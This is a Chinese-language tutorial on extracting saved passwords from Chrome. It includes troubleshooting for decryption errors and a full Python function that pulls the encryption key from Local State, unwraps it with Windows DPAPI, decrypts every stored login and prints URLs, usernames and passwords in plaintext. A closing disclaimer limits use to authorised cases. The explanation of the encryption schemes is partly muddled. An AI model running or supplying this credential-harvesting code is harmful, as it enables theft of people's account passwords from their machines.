抓取Chrome所有版本密码
字数 1095 2025-08-09 15:23:08
Chrome密码提取技术分析与解决方案
1. 技术背景
Chrome浏览器将用户保存的密码加密存储在本地SQLite数据库中,位置通常为:
- Windows:
%LocalAppData%\Google\Chrome\User Data\Default\Login Data - macOS:
~/Library/Application Support/Google/Chrome/Default/Login Data - Linux:
~/.config/google-chrome/Default/Login Data
2. 加密机制
Chrome使用两种加密方式保护密码:
- DPAPI加密(Windows系统):使用Windows数据保护API
- AES-256-GCM加密(非Windows系统或主密码设置时)
3. 常见问题解决方案
3.1 基础运行错误
- 问题:直接运行脚本出错
- 解决方案:
- 确保Python环境正确(建议Python 3.6+)
- 安装必要依赖:
pip install pycryptodome pypiwin32 - 检查Chrome进程是否关闭(需关闭Chrome才能访问数据库)
- 确认脚本有足够权限访问用户目录
3.2 CryptoPP验证错误
-
错误信息:
HashVerificationFilter: message hash or MAC not valid -
原因分析:
- 加密初始化向量(IV)长度不正确(应为12字节)
- 主密钥获取失败或损坏
- 加密数据被截断或损坏
-
解决方案:
- 确认IV处理逻辑:
# 正确获取12字节IV的示例 iv = encrypted_password[3:15] # 前3字节为v10标识 - 检查主密钥获取:
# Windows DPAPI解密示例 import win32crypt encrypted_key = ... # 从Local State获取 key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0) - 验证数据完整性:
# 确保加密数据完整 ciphertext = encrypted_password[15:-16] tag = encrypted_password[-16:]
- 确认IV处理逻辑:
3.3 异步处理问题
- 问题表现:卡在异步解密步骤
- 解决方案:
- 使用同步解密方式:
cipher = AES.new(key, AES.MODE_GCM, iv) plaintext = cipher.decrypt_and_verify(ciphertext, tag) - 检查Python版本兼容性(某些异步语法在旧版本不支持)
- 使用同步解密方式:
4. 完整实现代码框架
import os
import sqlite3
import json
import base64
from Crypto.Cipher import AES
import win32crypt
def get_chrome_passwords():
# 1. 定位Login Data文件
login_data_path = os.path.join(os.getenv('LOCALAPPDATA'),
'Google', 'Chrome',
'User Data', 'Default', 'Login Data')
# 2. 连接数据库
conn = sqlite3.connect(login_data_path)
cursor = conn.cursor()
# 3. 查询密码数据
cursor.execute("SELECT origin_url, username_value, password_value FROM logins")
# 4. 获取加密密钥
with open(os.path.join(os.getenv('LOCALAPPDATA'), 'Google', 'Chrome',
'User Data', 'Local State'), 'r') as f:
local_state = json.load(f)
encrypted_key = base64.b64decode(local_state['os_crypt']['encrypted_key'])
encrypted_key = encrypted_key[5:] # 移除DPAPI前缀
key = win32crypt.CryptUnprotectData(encrypted_key, None, None, None, 0)[1]
# 5. 解密密码
for url, user, encrypted_pass in cursor.fetchall():
if encrypted_pass.startswith(b'v10'):
iv = encrypted_pass[3:15]
ciphertext = encrypted_pass[15:-16]
tag = encrypted_pass[-16:]
cipher = AES.new(key, AES.MODE_GCM, iv)
try:
password = cipher.decrypt_and_verify(ciphertext, tag).decode()
print(f"URL: {url}\nUser: {user}\nPassword: {password}\n")
except ValueError as e:
print(f"解密失败: {e}")
conn.close()
5. 高级技巧
-
跨平台支持:
- Windows: 使用DPAPI
- macOS: 从Keychain获取密钥
- Linux: 使用libsecret或GNOME Keyring
-
Chrome版本适配:
- v80+ 使用AES-256-GCM
- 旧版本使用AES-256-CBC
-
错误处理增强:
try: # 解密逻辑 except (ValueError, KeyError) as e: print(f"错误: {e}") # 尝试备用解密方案
6. 法律与道德声明
- 本技术仅限合法授权场景使用
- 未经授权访问他人密码属违法行为
- 建议用于:
- 企业IT资产管理
- 个人数据恢复
- 安全审计与研究
7. 参考资料
- Chromium源码安全设计文档
- OWASP加密存储指南
- Microsoft DPAPI技术文档
- NIST密码学标准建议
请确保在实际应用中遵守相关法律法规,仅在有合法授权的情况下使用这些技术。